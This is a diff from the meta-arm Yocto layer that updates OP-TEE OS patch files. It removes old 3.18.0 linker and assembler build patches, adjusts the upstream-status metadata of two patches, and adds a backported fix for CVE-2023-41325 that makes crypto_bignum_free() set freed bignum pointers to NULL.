-Signed-off-by: Jerome Forissier <jerome.forissier@linaro.org>
-
-Signed-off-by: Anton Antonov <Anton.Antonov@arm.com>
-Upstream-Status: Backport [https://github.com/OP-TEE/optee_os/pull/5499]
----
- core/arch/arm/kernel/link.mk | 13 +++++++++----
- ldelf/link.mk | 3 +++
- 2 files changed, 12 insertions(+), 4 deletions(-)
-
-diff --git a/core/arch/arm/kernel/link.mk b/core/arch/arm/kernel/link.mk
-index c39d43cbfc5b..0e96e606cd9d 100644
---- a/core/arch/arm/kernel/link.mk
-+++ b/core/arch/arm/kernel/link.mk
-@@ -9,6 +9,11 @@ link-script-dep = $(link-out-dir)/.kern.ld.d
-
- AWK = awk
-
-+link-ldflags-common += $(call ld-option,--no-warn-rwx-segments)
-+ifeq ($(CFG_ARM32_core),y)
-+link-ldflags-common += $(call ld-option,--no-warn-execstack)
-+endif
-+
- link-ldflags = $(LDFLAGS)
- ifeq ($(CFG_CORE_ASLR),y)
- link-ldflags += -pie -Bsymbolic -z norelro $(ldflag-apply-dynamic-relocs)
-@@ -31,7 +36,7 @@ link-ldflags += -T $(link-script-pp) -Map=$(link-out-dir)/tee.map
- link-ldflags += --sort-section=alignment
- link-ldflags += --fatal-warnings
- link-ldflags += --gc-sections
--link-ldflags += $(call ld-option,--no-warn-rwx-segments)
-+link-ldflags += $(link-ldflags-common)
-
- link-ldadd = $(LDADD)
- link-ldadd += $(ldflags-external)
-@@ -56,7 +61,7 @@ link-script-cppflags := \
- $(cppflagscore))
-
- ldargs-all_objs := -T $(link-script-dummy) --no-check-sections \
-- $(call ld-option,--no-warn-rwx-segments) \
-+ $(link-ldflags-common) \
- $(link-objs) $(link-ldadd) $(libgcccore)
- cleanfiles += $(link-out-dir)/all_objs.o
- $(link-out-dir)/all_objs.o: $(objs) $(libdeps) $(MAKEFILE_LIST)
-@@ -70,7 +75,7 @@ $(link-out-dir)/unpaged_entries.txt: $(link-out-dir)/all_objs.o
- $(AWK) '/ ____keep_pager/ { printf "-u%s ", $$3 }' > $@
-
- unpaged-ldargs := -T $(link-script-dummy) --no-check-sections --gc-sections \
-- $(call ld-option,--no-warn-rwx-segments)
-+ $(link-ldflags-common)
- unpaged-ldadd := $(objs) $(link-ldadd) $(libgcccore)
- cleanfiles += $(link-out-dir)/unpaged.o
- $(link-out-dir)/unpaged.o: $(link-out-dir)/unpaged_entries.txt
-@@ -99,7 +104,7 @@ $(link-out-dir)/init_entries.txt: $(link-out-dir)/all_objs.o
- $(AWK) '/ ____keep_init/ { printf "-u%s ", $$3 }' > $@
-
- init-ldargs := -T $(link-script-dummy) --no-check-sections --gc-sections \
-- $(call ld-option,--no-warn-rwx-segments)
-+ $(link-ldflags-common)
- init-ldadd := $(link-objs-init) $(link-out-dir)/version.o $(link-ldadd) \
- $(libgcccore)
- cleanfiles += $(link-out-dir)/init.o
-diff --git a/ldelf/link.mk b/ldelf/link.mk
-index 64c8212a06fa..bd49551e7065 100644
---- a/ldelf/link.mk
-+++ b/ldelf/link.mk
-@@ -20,6 +20,9 @@ link-ldflags += -z max-page-size=4096 # OP-TEE always uses 4K alignment
- ifeq ($(CFG_CORE_BTI),y)
- link-ldflags += $(call ld-option,-z force-bti) --fatal-warnings
- endif
-+ifeq ($(CFG_ARM32_$(sm)), y)
-+link-ldflags += $(call ld-option,--no-warn-execstack)
-+endif
- link-ldflags += $(link-ldflags$(sm))
-
- link-ldadd = $(addprefix -L,$(libdirs))
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0006-arm32-libutils-libutee-ta-add-.note.GNU-stack-sectio.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0006-arm32-libutils-libutee-ta-add-.note.GNU-stack-sectio.patch
deleted file mode 100644
index e82fdc7147..0000000000
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.18.0/0006-arm32-libutils-libutee-ta-add-.note.GNU-stack-sectio.patch
+++ /dev/null
@@ -1,127 +0,0 @@
-From 1a991cbedf8647d5a1e7c312614f7867c3940968 Mon Sep 17 00:00:00 2001
-From: Jerome Forissier <jerome.forissier@linaro.org>
-Date: Tue, 23 Aug 2022 12:31:46 +0000
-Subject: [PATCH] arm32: libutils, libutee, ta: add .note.GNU-stack section to
-
- .S files
-
-When building for arm32 with GNU binutils 2.39, the linker outputs
-warnings when linking Trusted Applications:
-
- arm-unknown-linux-uclibcgnueabihf-ld.bfd: warning: utee_syscalls_a32.o: missing .note.GNU-stack section implies executable stack
- arm-unknown-linux-uclibcgnueabihf-ld.bfd: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
-
-We could silence the warning by adding the '-z execstack' option to the
-TA link flags, like we did in the parent commit for the TEE core and
-ldelf. Indeed, ldelf always allocates a non-executable piece of memory
-for the TA to use as a stack.
-
-However it seems preferable to comply with the common ELF practices in
-this case. A better fix is therefore to add the missing .note.GNU-stack
-sections in the assembler files.
-
-Signed-off-by: Jerome Forissier <jerome.forissier@linaro.org>
-
-Signed-off-by: Anton Antonov <Anton.Antonov@arm.com>
-Upstream-Status: Backport [https://github.com/OP-TEE/optee_os/pull/5499]
----
- lib/libutee/arch/arm/utee_syscalls_a32.S | 2 ++
- lib/libutils/ext/arch/arm/atomic_a32.S | 2 ++
- lib/libutils/ext/arch/arm/mcount_a32.S | 2 ++
- lib/libutils/isoc/arch/arm/arm32_aeabi_divmod_a32.S | 2 ++
- lib/libutils/isoc/arch/arm/arm32_aeabi_ldivmod_a32.S | 2 ++
- lib/libutils/isoc/arch/arm/setjmp_a32.S | 2 ++
- ta/arch/arm/ta_entry_a32.S | 2 ++
- 7 files changed, 14 insertions(+)
-
-diff --git a/lib/libutee/arch/arm/utee_syscalls_a32.S b/lib/libutee/arch/arm/utee_syscalls_a32.S
-index 6e621ca6e06d..af405f62723c 100644
---- a/lib/libutee/arch/arm/utee_syscalls_a32.S
-+++ b/lib/libutee/arch/arm/utee_syscalls_a32.S
-@@ -7,6 +7,8 @@
- #include <tee_syscall_numbers.h>
- #include <asm.S>
-
-+ .section .note.GNU-stack,"",%progbits
-+
- .section .text
- .balign 4
- .code 32
-diff --git a/lib/libutils/ext/arch/arm/atomic_a32.S b/lib/libutils/ext/arch/arm/atomic_a32.S
-index eaef6914734e..2be73ffadcc9 100644
---- a/lib/libutils/ext/arch/arm/atomic_a32.S
-+++ b/lib/libutils/ext/arch/arm/atomic_a32.S
-@@ -5,6 +5,8 @@
-
- #include <asm.S>
-
-+ .section .note.GNU-stack,"",%progbits
-+
- /* uint32_t atomic_inc32(uint32_t *v); */
- FUNC atomic_inc32 , :
- ldrex r1, [r0]
-diff --git a/lib/libutils/ext/arch/arm/mcount_a32.S b/lib/libutils/ext/arch/arm/mcount_a32.S
-index 51439a23014e..54dc3c02da66 100644
---- a/lib/libutils/ext/arch/arm/mcount_a32.S
-+++ b/lib/libutils/ext/arch/arm/mcount_a32.S
-@@ -7,6 +7,8 @@
-
- #if defined(CFG_TA_GPROF_SUPPORT) || defined(CFG_FTRACE_SUPPORT)
-
-+ .section .note.GNU-stack,"",%progbits
-+
- /*
- * Convert return address to call site address by subtracting the size of the
- * mcount call instruction (blx __gnu_mcount_nc).
-diff --git a/lib/libutils/isoc/arch/arm/arm32_aeabi_divmod_a32.S b/lib/libutils/isoc/arch/arm/arm32_aeabi_divmod_a32.S
-index a600c879668c..37ae9ec6f9f1 100644
---- a/lib/libutils/isoc/arch/arm/arm32_aeabi_divmod_a32.S
-+++ b/lib/libutils/isoc/arch/arm/arm32_aeabi_divmod_a32.S
-@@ -5,6 +5,8 @@
-
- #include <asm.S>
-
-+ .section .note.GNU-stack,"",%progbits
-+
- /*
- * signed ret_idivmod_values(signed quot, signed rem);
- * return quotient and remaining the EABI way (regs r0,r1)
-diff --git a/lib/libutils/isoc/arch/arm/arm32_aeabi_ldivmod_a32.S b/lib/libutils/isoc/arch/arm/arm32_aeabi_ldivmod_a32.S
-index 2dc50bc98bbf..5c3353e2c1ba 100644
---- a/lib/libutils/isoc/arch/arm/arm32_aeabi_ldivmod_a32.S
-+++ b/lib/libutils/isoc/arch/arm/arm32_aeabi_ldivmod_a32.S
-@@ -5,6 +5,8 @@
-
- #include <asm.S>
-
-+ .section .note.GNU-stack,"",%progbits
-+
- /*
- * __value_in_regs lldiv_t __aeabi_ldivmod( long long n, long long d)
- */
-diff --git a/lib/libutils/isoc/arch/arm/setjmp_a32.S b/lib/libutils/isoc/arch/arm/setjmp_a32.S
-index 43ea593758c9..f8a0b70df705 100644
---- a/lib/libutils/isoc/arch/arm/setjmp_a32.S
-+++ b/lib/libutils/isoc/arch/arm/setjmp_a32.S
-@@ -51,6 +51,8 @@
- #define SIZE(x)
- #endif
-
-+ .section .note.GNU-stack,"",%progbits
-+
- /* Arm/Thumb interworking support:
-
- The interworking scheme expects functions to use a BX instruction
-diff --git a/ta/arch/arm/ta_entry_a32.S b/ta/arch/arm/ta_entry_a32.S
-index d2f8a69daa7f..cd9a12f9dbf9 100644
---- a/ta/arch/arm/ta_entry_a32.S
-+++ b/ta/arch/arm/ta_entry_a32.S
-@@ -5,6 +5,8 @@
-
- #include <asm.S>
-
-+ .section .note.GNU-stack,"",%progbits
-+
- /*
- * This function is the bottom of the user call stack. Mark it as such so that
- * the unwinding code won't try to go further down.
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0005-core-arm-S-EL1-SPMC-boot-ABI-update.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0005-core-arm-S-EL1-SPMC-boot-ABI-update.patch
index 381cad9a43..e6fe716812 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0005-core-arm-S-EL1-SPMC-boot-ABI-update.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0005-core-arm-S-EL1-SPMC-boot-ABI-update.patch
@@ -20,10 +20,11 @@ change in TF-A ("feat(qemu): update abi between spmd and spmc") [2].
file. Used by Trusted OS (BL32), that is, OP-TEE in this case
Link: [2] https://git.trustedfirmware.org/TF-A/trusted-firmware-a.git/commit/?id=25ae7ad1878244f78206cc7c91f7bdbd267331a1
-Upstream-Status: Accepted
-
Acked-by: Etienne Carriere <etienne.carriere@linaro.org>
Signed-off-by: Jens Wiklander <jens.wiklander@linaro.org>
+
+Upstream-Status: Backport [f1f431c7a92671b4fa397976d381cc5ad8adacc4]
+Signed-off-by: Gyorgy Szing <Gyorgy.Szing@arm.com>
---
core/arch/arm/kernel/boot.c | 8 +++++++-
core/arch/arm/kernel/entry_a64.S | 17 ++++++++---------
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0006-core-ffa-add-TOS_FW_CONFIG-handling.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0006-core-ffa-add-TOS_FW_CONFIG-handling.patch
index 5421b10e76..da0422b97a 100644
--- a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0006-core-ffa-add-TOS_FW_CONFIG-handling.patch
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/0006-core-ffa-add-TOS_FW_CONFIG-handling.patch
@@ -9,10 +9,11 @@ This commit adds functionality to save the TOS_FW_CONFIG too, so we can
retrieve it later. This is necessary for the CFG_CORE_SEL1_SPMC use
case, because the SPMC manifest is passed in this DT.
-Upstream-Status: Accepted
-
Reviewed-by: Jens Wiklander <jens.wiklander@linaro.org>
Signed-off-by: Balint Dobszay <balint.dobszay@arm.com>
+
+Upstream-Status: Backport [809fa817ae6331d98b55f7afaa3c20f8407822e4]
+Signed-off-by: Gyorgy Szing <Gyorgy.Szing@arm.com>
---
core/arch/arm/kernel/boot.c | 60 ++++++++++++++++++++++-
core/arch/arm/kernel/entry_a32.S | 3 +-
diff --git a/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/CVE-2023-41325.patch b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/CVE-2023-41325.patch
new file mode 100644
index 0000000000..08acce07f9
--- /dev/null
+++ b/meta-arm/meta-arm-bsp/recipes-security/optee/optee-os-3.20.0/CVE-2023-41325.patch
@@ -0,0 +1,634 @@
+From 800627f054959aac0dd3527495ee3fad0137600a Mon Sep 17 00:00:00 2001
+From: Jihwan Park <jihwp@amazon.com>
+Date: Mon, 3 Jul 2023 08:51:47 +0200
+Subject: [PATCH] core: crypto_bignum_free(): add indirection and set pointer
+ to NULL
+
+To prevent human mistake, crypto_bignum_free() sets the location of the
+bignum pointer to NULL after freeing it.
+
+Signed-off-by: Jihwan Park <jihwp@amazon.com>
+Signed-off-by: Jens Wiklander <jens.wiklander@linaro.org>
+Reviewed-by: Jerome Forissier <jerome.forissier@linaro.org>
+Reviewed-by: Joakim Bech <joakim.bech@linaro.org>
+Reviewed-by: Etienne Carriere <etienne.carriere@foss.st.com>
+
+CVE: CVE-2023-41325
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ core/crypto/crypto.c | 4 +--
+ core/drivers/crypto/caam/acipher/caam_dh.c | 8 ++---
+ core/drivers/crypto/caam/acipher/caam_dsa.c | 14 ++++----
+ core/drivers/crypto/caam/acipher/caam_ecc.c | 10 +++---
+ core/drivers/crypto/caam/acipher/caam_rsa.c | 24 ++++++-------
+ core/drivers/crypto/se050/core/ecc.c | 14 ++++----
+ core/drivers/crypto/se050/core/rsa.c | 38 ++++++++++-----------
+ core/drivers/crypto/versal/ecc.c | 6 ++--
+ core/include/crypto/crypto.h | 2 +-
+ core/lib/libtomcrypt/dh.c | 8 ++---
+ core/lib/libtomcrypt/dsa.c | 14 ++++----
+ core/lib/libtomcrypt/ecc.c | 10 +++---
+ core/lib/libtomcrypt/mpi_desc.c | 9 +++--
+ core/lib/libtomcrypt/rsa.c | 22 ++++++------
+ core/tee/tee_svc_cryp.c | 7 ++--
+ lib/libmbedtls/core/bignum.c | 9 +++--
+ lib/libmbedtls/core/dh.c | 8 ++---
+ lib/libmbedtls/core/ecc.c | 10 +++---
+ lib/libmbedtls/core/rsa.c | 22 ++++++------
+ 19 files changed, 122 insertions(+), 117 deletions(-)
+
+diff --git a/core/crypto/crypto.c b/core/crypto/crypto.c
+index 9f7d35097..60cb89a31 100644
+--- a/core/crypto/crypto.c
++++ b/core/crypto/crypto.c
+@@ -498,9 +498,9 @@ void crypto_bignum_copy(struct bignum *to __unused,
+ bignum_cant_happen();
+ }
+
+-void crypto_bignum_free(struct bignum *a)
++void crypto_bignum_free(struct bignum **a)
+ {
+- if (a)
++ if (a && *a)
+ panic();
+ }
+
+diff --git a/core/drivers/crypto/caam/acipher/caam_dh.c b/core/drivers/crypto/caam/acipher/caam_dh.c
+index 6131ff0ef..35fc44541 100644
+--- a/core/drivers/crypto/caam/acipher/caam_dh.c
++++ b/core/drivers/crypto/caam/acipher/caam_dh.c
+@@ -195,10 +195,10 @@ static TEE_Result do_allocate_keypair(struct dh_keypair *key, size_t size_bits)
+ err:
+ DH_TRACE("Allocation error");
+
+- crypto_bignum_free(key->g);
+- crypto_bignum_free(key->p);
+- crypto_bignum_free(key->x);
+- crypto_bignum_free(key->y);
++ crypto_bignum_free(&key->g);
++ crypto_bignum_free(&key->p);
++ crypto_bignum_free(&key->x);
++ crypto_bignum_free(&key->y);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+diff --git a/core/drivers/crypto/caam/acipher/caam_dsa.c b/core/drivers/crypto/caam/acipher/caam_dsa.c
+index 2696f0b3c..d60bb8e89 100644
+--- a/core/drivers/crypto/caam/acipher/caam_dsa.c
++++ b/core/drivers/crypto/caam/acipher/caam_dsa.c
+@@ -309,10 +309,10 @@ static TEE_Result do_allocate_keypair(struct dsa_keypair *key, size_t l_bits,
+ err:
+ DSA_TRACE("Allocation error");
+
+- crypto_bignum_free(key->g);
+- crypto_bignum_free(key->p);
+- crypto_bignum_free(key->q);
+- crypto_bignum_free(key->x);
++ crypto_bignum_free(&key->g);
++ crypto_bignum_free(&key->p);
++ crypto_bignum_free(&key->q);
++ crypto_bignum_free(&key->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -358,9 +358,9 @@ static TEE_Result do_allocate_publickey(struct dsa_public_key *key,
+ err:
+ DSA_TRACE("Allocation error");
+
+- crypto_bignum_free(key->g);
+- crypto_bignum_free(key->p);
+- crypto_bignum_free(key->q);
++ crypto_bignum_free(&key->g);
++ crypto_bignum_free(&key->p);
++ crypto_bignum_free(&key->q);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+diff --git a/core/drivers/crypto/caam/acipher/caam_ecc.c b/core/drivers/crypto/caam/acipher/caam_ecc.c
+index 90e87c20a..6b12b6cbe 100644
+--- a/core/drivers/crypto/caam/acipher/caam_ecc.c
++++ b/core/drivers/crypto/caam/acipher/caam_ecc.c
+@@ -169,8 +169,8 @@ static TEE_Result do_allocate_keypair(struct ecc_keypair *key, size_t size_bits)
+ err:
+ ECC_TRACE("Allocation error");
+
+- crypto_bignum_free(key->d);
+- crypto_bignum_free(key->x);
++ crypto_bignum_free(&key->d);
++ crypto_bignum_free(&key->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -204,7 +204,7 @@ static TEE_Result do_allocate_publickey(struct ecc_public_key *key,
+ err:
+ ECC_TRACE("Allocation error");
+
+- crypto_bignum_free(key->x);
++ crypto_bignum_free(&key->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -216,8 +216,8 @@ err:
+ */
+ static void do_free_publickey(struct ecc_public_key *key)
+ {
+- crypto_bignum_free(key->x);
+- crypto_bignum_free(key->y);
++ crypto_bignum_free(&key->x);
++ crypto_bignum_free(&key->y);
+ }
+
+ /*
+diff --git a/core/drivers/crypto/caam/acipher/caam_rsa.c b/core/drivers/crypto/caam/acipher/caam_rsa.c
+index e860c641c..b59ab0b6e 100644
+--- a/core/drivers/crypto/caam/acipher/caam_rsa.c
++++ b/core/drivers/crypto/caam/acipher/caam_rsa.c
+@@ -86,14 +86,14 @@ static uint8_t caam_era;
+ */
+ static void do_free_keypair(struct rsa_keypair *key)
+ {
+- crypto_bignum_free(key->e);
+- crypto_bignum_free(key->d);
+- crypto_bignum_free(key->n);
+- crypto_bignum_free(key->p);
+- crypto_bignum_free(key->q);
+- crypto_bignum_free(key->qp);
+- crypto_bignum_free(key->dp);
+- crypto_bignum_free(key->dq);
++ crypto_bignum_free(&key->e);
++ crypto_bignum_free(&key->d);
++ crypto_bignum_free(&key->n);
++ crypto_bignum_free(&key->p);
++ crypto_bignum_free(&key->q);
++ crypto_bignum_free(&key->qp);
++ crypto_bignum_free(&key->dp);
++ crypto_bignum_free(&key->dq);
+ }
+
+ /*
+@@ -435,8 +435,8 @@ static TEE_Result do_allocate_publickey(struct rsa_public_key *key,
+ err_alloc_publickey:
+ RSA_TRACE("Allocation error");
+
+- crypto_bignum_free(key->e);
+- crypto_bignum_free(key->n);
++ crypto_bignum_free(&key->e);
++ crypto_bignum_free(&key->n);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -448,8 +448,8 @@ err_alloc_publickey:
+ */
+ static void do_free_publickey(struct rsa_public_key *key)
+ {
+- crypto_bignum_free(key->e);
+- crypto_bignum_free(key->n);
++ crypto_bignum_free(&key->e);
++ crypto_bignum_free(&key->n);
+ }
+
+ /*
+diff --git a/core/drivers/crypto/se050/core/ecc.c b/core/drivers/crypto/se050/core/ecc.c
+index d74334760..52f82c69d 100644
+--- a/core/drivers/crypto/se050/core/ecc.c
++++ b/core/drivers/crypto/se050/core/ecc.c
+@@ -752,9 +752,9 @@ static TEE_Result do_alloc_keypair(struct ecc_keypair *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->x);
+- crypto_bignum_free(s->y);
++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->x);
++ crypto_bignum_free(&s->y);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+@@ -768,8 +768,8 @@ static TEE_Result do_alloc_publickey(struct ecc_public_key *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->x);
+- crypto_bignum_free(s->y);
++ crypto_bignum_free(&s->x);
++ crypto_bignum_free(&s->y);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+@@ -778,8 +778,8 @@ static void do_free_publickey(struct ecc_public_key *s)
+ if (!s)
+ return;
+
+- crypto_bignum_free(s->x);
+- crypto_bignum_free(s->y);
++ crypto_bignum_free(&s->x);
++ crypto_bignum_free(&s->y);
+ }
+
+ static struct drvcrypt_ecc driver_ecc = {
+diff --git a/core/drivers/crypto/se050/core/rsa.c b/core/drivers/crypto/se050/core/rsa.c
+index 815abb3cd..475d2b99a 100644
+--- a/core/drivers/crypto/se050/core/rsa.c
++++ b/core/drivers/crypto/se050/core/rsa.c
+@@ -537,14 +537,14 @@ static TEE_Result do_alloc_keypair(struct rsa_keypair *s,
+
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->e);
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->q);
+- crypto_bignum_free(s->qp);
+- crypto_bignum_free(s->dp);
+- crypto_bignum_free(s->dq);
++ crypto_bignum_free(&s->e);
++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->q);
++ crypto_bignum_free(&s->qp);
++ crypto_bignum_free(&s->dp);
++ crypto_bignum_free(&s->dq);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -556,7 +556,7 @@ static TEE_Result do_alloc_publickey(struct rsa_public_key *s,
+ if (!bn_alloc_max(&s->e))
+ return TEE_ERROR_OUT_OF_MEMORY;
+ if (!bn_alloc_max(&s->n)) {
+- crypto_bignum_free(s->e);
++ crypto_bignum_free(&s->e);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+@@ -566,8 +566,8 @@ static TEE_Result do_alloc_publickey(struct rsa_public_key *s,
+ static void do_free_publickey(struct rsa_public_key *s)
+ {
+ if (s) {
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->e);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->e);
+ }
+ }
+
+@@ -587,14 +587,14 @@ static void do_free_keypair(struct rsa_keypair *s)
+ sss_se05x_key_store_erase_key(se050_kstore, &k_object);
+ }
+
+- crypto_bignum_free(s->e);
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->q);
+- crypto_bignum_free(s->qp);
+- crypto_bignum_free(s->dp);
+- crypto_bignum_free(s->dq);
++ crypto_bignum_free(&s->e);
++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->q);
++ crypto_bignum_free(&s->qp);
++ crypto_bignum_free(&s->dp);
++ crypto_bignum_free(&s->dq);
+ }
+
+ static TEE_Result do_gen_keypair(struct rsa_keypair *key, size_t kb)
+diff --git a/core/drivers/crypto/versal/ecc.c b/core/drivers/crypto/versal/ecc.c
+index 3d5454509..18ec4f78d 100644
+--- a/core/drivers/crypto/versal/ecc.c
++++ b/core/drivers/crypto/versal/ecc.c
+@@ -284,9 +284,9 @@ static TEE_Result sign(uint32_t algo, struct ecc_keypair *key,
+
+ versal_mbox_alloc(bytes, NULL, &k);
+ crypto_bignum_bn2bin_eswap(key->curve, ephemeral.d, k.buf);
+- crypto_bignum_free(ephemeral.d);
+- crypto_bignum_free(ephemeral.x);
+- crypto_bignum_free(ephemeral.y);
++ crypto_bignum_free(&ephemeral.d);
++ crypto_bignum_free(&ephemeral.x);
++ crypto_bignum_free(&ephemeral.y);
+
+ /* Private key*/
+ versal_mbox_alloc(bytes, NULL, &d);
+diff --git a/core/include/crypto/crypto.h b/core/include/crypto/crypto.h
+index 71a287ec6..0e6c139ce 100644
+--- a/core/include/crypto/crypto.h
++++ b/core/include/crypto/crypto.h
+@@ -98,7 +98,7 @@ size_t crypto_bignum_num_bytes(struct bignum *a);
+ size_t crypto_bignum_num_bits(struct bignum *a);
+ void crypto_bignum_bn2bin(const struct bignum *from, uint8_t *to);
+ void crypto_bignum_copy(struct bignum *to, const struct bignum *from);
+-void crypto_bignum_free(struct bignum *a);
++void crypto_bignum_free(struct bignum **a);
+ void crypto_bignum_clear(struct bignum *a);
+
+ /* return -1 if a<b, 0 if a==b, +1 if a>b */
+diff --git a/core/lib/libtomcrypt/dh.c b/core/lib/libtomcrypt/dh.c
+index 4eb9916f2..b1d0a4d00 100644
+--- a/core/lib/libtomcrypt/dh.c
++++ b/core/lib/libtomcrypt/dh.c
+@@ -28,10 +28,10 @@ TEE_Result crypto_acipher_alloc_dh_keypair(struct dh_keypair *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->g);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->y);
+- crypto_bignum_free(s->x);
++ crypto_bignum_free(&s->g);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->y);
++ crypto_bignum_free(&s->x);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+diff --git a/core/lib/libtomcrypt/dsa.c b/core/lib/libtomcrypt/dsa.c
+index a2dc720ed..d6243c469 100644
+--- a/core/lib/libtomcrypt/dsa.c
++++ b/core/lib/libtomcrypt/dsa.c
+@@ -30,10 +30,10 @@ TEE_Result crypto_acipher_alloc_dsa_keypair(struct dsa_keypair *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->g);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->q);
+- crypto_bignum_free(s->y);
++ crypto_bignum_free(&s->g);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->q);
++ crypto_bignum_free(&s->y);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+@@ -52,9 +52,9 @@ TEE_Result crypto_acipher_alloc_dsa_public_key(struct dsa_public_key *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->g);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->q);
++ crypto_bignum_free(&s->g);
++ crypto_bignum_free(&s->p);
++ crypto_bignum_free(&s->q);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+diff --git a/core/lib/libtomcrypt/ecc.c b/core/lib/libtomcrypt/ecc.c
+index 938378247..fa645e17a 100644
+--- a/core/lib/libtomcrypt/ecc.c
++++ b/core/lib/libtomcrypt/ecc.c
+@@ -18,8 +18,8 @@ static void _ltc_ecc_free_public_key(struct ecc_public_key *s)
+ if (!s)
+ return;
+
+- crypto_bignum_free(s->x);
+- crypto_bignum_free(s->y);
++ crypto_bignum_free(&s->x);
++ crypto_bignum_free(&s->y);
+ }
+
+ /*
+@@ -465,8 +465,8 @@ TEE_Result crypto_asym_alloc_ecc_keypair(struct ecc_keypair *s,
+ err:
+ s->ops = NULL;
+
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->x);
++ crypto_bignum_free(&s->d);
++ crypto_bignum_free(&s->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+@@ -541,7 +541,7 @@ TEE_Result crypto_asym_alloc_ecc_public_key(struct ecc_public_key *s,
+ err:
+ s->ops = NULL;
+
+- crypto_bignum_free(s->x);
++ crypto_bignum_free(&s->x);
+
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+diff --git a/core/lib/libtomcrypt/mpi_desc.c b/core/lib/libtomcrypt/mpi_desc.c
+index 235fbe630..ff8dd13c7 100644
+--- a/core/lib/libtomcrypt/mpi_desc.c
++++ b/core/lib/libtomcrypt/mpi_desc.c
+@@ -763,10 +763,13 @@ struct bignum *crypto_bignum_allocate(size_t size_bits)
+ return (struct bignum *)bn;
+ }
+
+-void crypto_bignum_free(struct bignum *s)
++void crypto_bignum_free(struct bignum **s)
+ {
+- mbedtls_mpi_free((mbedtls_mpi *)s);
+- free(s);
++ assert(s);
++
++ mbedtls_mpi_free((mbedtls_mpi *)*s);
++ free(*s);
++ *s = NULL;
+ }
+
+ void crypto_bignum_clear(struct bignum *s)
+diff --git a/core/lib/libtomcrypt/rsa.c b/core/lib/libtomcrypt/rsa.c
+index 8d0443f36..13ed23934 100644
+--- a/core/lib/libtomcrypt/rsa.c
++++ b/core/lib/libtomcrypt/rsa.c
+@@ -131,7 +131,7 @@ TEE_Result sw_crypto_acipher_alloc_rsa_public_key(struct rsa_public_key *s,
+ goto err;
+ return TEE_SUCCESS;
+ err:
+- crypto_bignum_free(s->e);
++ crypto_bignum_free(&s->e);
+ return TEE_ERROR_OUT_OF_MEMORY;
+ }
+
+@@ -143,8 +143,8 @@ void sw_crypto_acipher_free_rsa_public_key(struct rsa_public_key *s)
+ {
+ if (!s)
+ return;
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->e);
++ crypto_bignum_free(&s->n);
++ crypto_bignum_free(&s->e);
+ }
+
+
+@@ -155,14 +155,14 @@ void sw_crypto_acipher_free_rsa_keypair(struct rsa_keypair *s)
+ {
+ if (!s)
+ return;
+- crypto_bignum_free(s->e);
+- crypto_bignum_free(s->d);
+- crypto_bignum_free(s->n);
+- crypto_bignum_free(s->p);
+- crypto_bignum_free(s->q);
+- crypto_bignum_free(s->qp);
+- crypto_bignum_free(s->dp);
+- crypto_bignum_free(s->dq);
++ crypto_bignum_free(&s->e);
